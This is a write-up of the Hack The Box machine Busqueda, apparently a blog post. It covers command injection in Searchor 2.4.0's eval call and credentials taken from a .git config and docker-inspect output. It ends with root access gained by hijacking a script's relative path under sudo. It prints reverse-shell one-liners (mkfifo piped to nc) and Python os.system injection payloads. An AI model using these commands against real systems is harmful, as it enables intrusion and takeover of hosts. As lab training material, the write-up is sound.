HTB Busqueda: Formal Writeup

7 min readAug 10, 2023


On the host Busqueda a vulnerable web app was running, by exploiting the web app’s query parameter the attacker gained RCE & the initial foothold. The attacker then enumerated the system and compromised the password for the cody user, which was reused for the user svc account. The attacker also discovered a new virtual host (VHOST) where a self-hosted Git service was running. Using the sudo privileges of the svc user, the attacker was able to dump the configuration files of running Docker containers, which led to the compromise of a few additional user passwords. The attacker then logged into the administrator’s Git account and found a number of scripts. One of these scripts, named, did not have its full path specified. The attacker abused this oversight by creating a file named in the /tmp directory that contained a reverse shell. This allowed the attacker to gain complete control of the host.

Active Recon:

The attacker decided to run a nmap scan to find all the open ports and running services.

└─$ nmap -Pn -sV -sC -p- --min-rate=5000 -T4
Starting Nmap 7.93 ( ) at 2023-08-08 00:54 CDT
Warning: giving up on port because retransmission cap hit (6).
Nmap scan report for
Host is up (0.28s latency).
Not shown: 48720 closed tcp ports (conn-refused), 16813 filtered tcp ports (no-response)
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 80.37 seconds

From the nmap scan it was found that there were 2 open ports SSH & HTTP. The HTTP server was running on Apache httpd 2.4.52 and our Nmap’s Script Engine revealed that the http server redirected to another VHOST named searcher.htb. Upon adding the VHOST to the /etc/hosts file, the website was explore able.

└─$ echo " searcher.htb" | sudo tee -a /etc/hosts

Upon landing on the page it was initiated the website is a web app based on a python flask using the library Searchor. Searchor is an all-in-one PyPi Python Library that simplifies web scraping, obtaining information on an topic, and generating search query URLs. The web app also revealed its version.

Searcher web app
Searchor 2.4.0

Vulnerability Analysis & Exploitation:

Upon researching for a bit the attacker figured out that Searchor 2.4.0 was vulnerable to Arbitrary Command Injection & they found a valid exploit for the vulnerability.

In the file src/sarchor/ of the version Searchor 2.4.0 there was a function named eval(), Which can provide the ability to execute arbitrary code using functions such as:
__import__(‘os’).system(‘<CMD>’), __import__(‘os’).popen(‘<CMD>’).read()

So they decided to use the exploit to gain RCE. They started a listener to hear back from the reverse shell.

└─$ rlwrap nc -nvlp 4444

listening on [any] 4444 ...

Upon executing the script & using the below reverse shell payload, the nc listener got a hit with a reverse connection from the target.

└─$ python3 Searchor\ 2.4.0\

Command: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 4444 >/tmp/f

Netcat listener:

└─$ rlwrap nc -nvlp 4444
listening on [any] 4444 ...

connect to [] from (UNKNOWN) [] 36624

And the first flag was obtained through the reverse shell from the file /home/svc/user.txt.

Post Exploitation:

While enumerating different files through out the machine a hidden folder .git was found. And inside the folder a pair of credential for the user cody & a VHOST named gitea.searcher.htb was discovered from the config file.

svc@busqueda$ cat /var/www/app/.git/config

repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:<REDACTED>@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main

Inside the same directory the HEAD file had some data about the last commit and an username administrator was found.

svc@busqueda:/var/www/app/.git/logs$ cat HEAD

0000000000000000000000000000000000000000 5ede9ed9f2ee636b5eb559fdedfd006d2eae86f4 administrator <administrator@gitea.searcher.htb> 1671970461 +0000 commit (initial): Initial commit

Upon adding the VHOST into the /etc/hosts file the attacker was able to access the VHOST gitea.searcher.htb successfully.

└─$ echo " gitea.searcher.htb" | sudo tee -a /etc/hosts
Inside the gitea.searcher.htb

The attacker was able to sign in by using the credential of the user cody, but found nothing interesting. Upon trying to list the svc user’s sudo privileges it asked the attacker for a password. Later on it was found out that the cody user’s password was reused for the user svc.

svc@busqueda:~$ sudo -S -l

[sudo] password for svc: <REDACTED>
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/ *

The user svc was permitted to run the Python script “/opt/scripts/” using the Python3 interpreter located at “/usr/bin/python3”, and they could do so with root privileges.

The attacker had the access to execute 3 actions on behalf of the script “”.

svc@busqueda:~$ sudo -S /usr/bin/python3 /opt/scripts/ test

Usage: /opt/scripts/ <action> (arg1) (arg2)

docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup

Upon executing the docker process it was found out that 2 docker containers were running, one for gitea service and the other one was for mysql.

svc@busqueda:~$ sudo -S /usr/bin/python3 /opt/scripts/ docker-ps

960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 7 months ago Up 7 hours>3000/tcp,>22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 7 months ago Up 7 hours>3306/tcp, 33060/tcp mysql_db

It was possible to dump the config files from docker’s by abusing the docker-inspect. Nothing found by dumping the gitae service’s config file. But by dumping the mysql docker some user passwords were found.

svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/ docker-inspect '{{json .Config}}' f84a6b33fb5a


Which was later used to sign in to the gitea service’s web app on behalf of the user administrator(administrator:<REDACTED>). A repository named scripts was found. Which was consisted of different scripts.

In the administrator repository

Privilege Escalation:

Upon inspecting all of the scripts deeply it was discovered that inside the script, the full path for the file was not mentioned which was abuse able.

    elif action == 'full-checkup':
arg_list = ['./']
print('[+] Done!')
print('Something went wrong')

The above code block means that the command can only be run if the is available in the current directory. The was located in /opt/scripts. So the attacker decided to create a new file named in a different location so that the attacker owned script gets executed instead of the real one which will give the attacker arbitrary command execution on behalf of the root user because of the sudo privillege.

The attacker was able to create a reverse shell script in the /tmp folder and upon executing the function full-checkup, they were able to gain root access over the host. The process is shown below, the attacker gained a SSH connection for reliability.

Connecting to the ssh server:

└─$ ssh svc@

svc@'s password: <REDACTED>
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-69-generic x86_64)

Creating a rogue file in the /tmp directory:

svc@busqueda:/tmp$ vim

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 8000 >/tmp/f

# Giving the execution permission
svc@busqueda:/tmp$ chmod +x

Starting a nc listener:

└─$ rlwrap nc -lvnp 8000

listening on [any] 8000 ...

Executing the script by abusing sudo privilege:

svc@busqueda:/tmp$ sudo -S /usr/bin/python3 /opt/scripts/ full-checkup

Upon executing the command, the attacker successfully got a reverse connection from the host on behalf of the root user & the host got pwned. Lastly the root flag was obtained from the /root/root.txt.

└─$ rlwrap nc -lvnp 8000

listening on [any] 8000 ...
connect to [] from (UNKNOWN) [] 54230

root@busqueda:/tmp# cat /root/root.txt

Signing out,
- Toothless